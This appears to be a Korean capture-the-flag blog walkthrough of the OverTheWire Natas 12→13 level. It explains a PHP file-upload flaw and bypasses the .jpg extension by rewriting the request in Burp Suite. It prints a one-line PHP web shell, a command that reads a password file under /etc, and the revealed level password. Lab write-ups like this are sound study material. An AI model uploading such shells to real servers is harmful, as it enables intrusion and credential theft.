[ Natas 12 -> Natas 13 웹쉘(Webshell) ]

2017. 9. 23. 18:41NetworkHacking/[OverTheWire]Vortex




1> 페이지 초기화면


2> 페이지 소스코드


3> PHP코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?  
 
function genRandomString() {     // 랜덤한 문자열 반환 함수
    $length = 10
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"
    $string = "";     
 
    for ($p = 0$p < $length$p++) {            // 10개의 랜덤한 문자들을 $string 변수에 입력한다 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 
 
    return $string
 
function makeRandomPath($dir$ext) {     // 랜덤한 이름의 경로를 만드는 함수
    do {                                 // 디렉터리명과 확장자명을 인수로 받아서 경로명을 반환한다
    $path = $dir."/".genRandomString().".".$ext;     
    } while(file_exists($path)); 
    return $path
 
function makeRandomPathFromFilename($dir$fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION);         // pathinfo(경로,OPTIONS) , PATHINFO_EXTENSION:해당 경로명에서 확장자를 가져온다
    return makeRandomPath($dir$ext);                 
 
if(array_key_exists("filename"$_POST)) { 
    $target_path = makeRandomPathFromFilename("upload"$_POST["filename"]);     // 디렉터리명은 upload 가된다. 파일명은 위에서 정의한 랜덤함수들로 생성된 랜덤값이다
 
 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {     // 업로드하는 파일의 크기가 1000kb 이상이면 업로드 금지
        echo "File is too big"
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {     // 업로드한 파일을 $target_path로 이동시킨다. ( 실제 서버에 파일이 업로드 된다 )
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
        } else
            echo "There was an error uploading the file, please try again!"
        } 
    } 
else { 
?> 
....

cs


# Example  pathinfo() Example

<?php
$path_parts 
pathinfo('/www/htdocs/inc/lib.inc.php');

echo 
$path_parts['dirname'], "\n";
echo 
$path_parts['basename'], "\n";
echo 
$path_parts['extension'], "\n";
echo 
$path_parts['filename'], "\n"// since PHP 5.2.0
?>

The above example will output:

/www/htdocs/inc
lib.inc.php
php
lib.inc


4> HTML코드

1
2
3
4
5
6
7
8
9
10
11
....
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /
                    // filename 변수에는 랜덤한 파일명으로 확장자는 " .jpg " 로 고정되어서 파일이 업로드된다
                    // .jpg 확장자를 .php 로 변경시켜서 서버로 보내야 웹쉘을 실행시킬 수 있다
 
Choose a JPEG to upload (max 1KB):<br/
<input name="uploadedfile" type="file" /><br /
<input type="submit" value="Upload File" /
</form
</html>
cs


5> Burp suite 를 이용한 패킷변조

① filename변수에 랜덤한파일명.jpg 로 파일을 업로드하는 패킷이 Natas서버로 전송되는 것을 잡았습니다


② 파일명.jpg => 파일명.php 로 변조


③ 서버로 전송하면 다음과 같이 파일명.php 로 파일이 업로드 되어짐을 확인 할 수 있습니다


④ 업로드한 파일은 웹쉘입니다 ( 코드: <?php system($_GET['cmd']); ?> )

⑤ 업로드한 파일 페이지로 이동하고 GET방식으로 cmd변수에 실행시킬 명령어를 입력합니다


⑥ system( "cat /etc/natas_webpass/natas13 ") 명령어가 실행된다




natas 13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY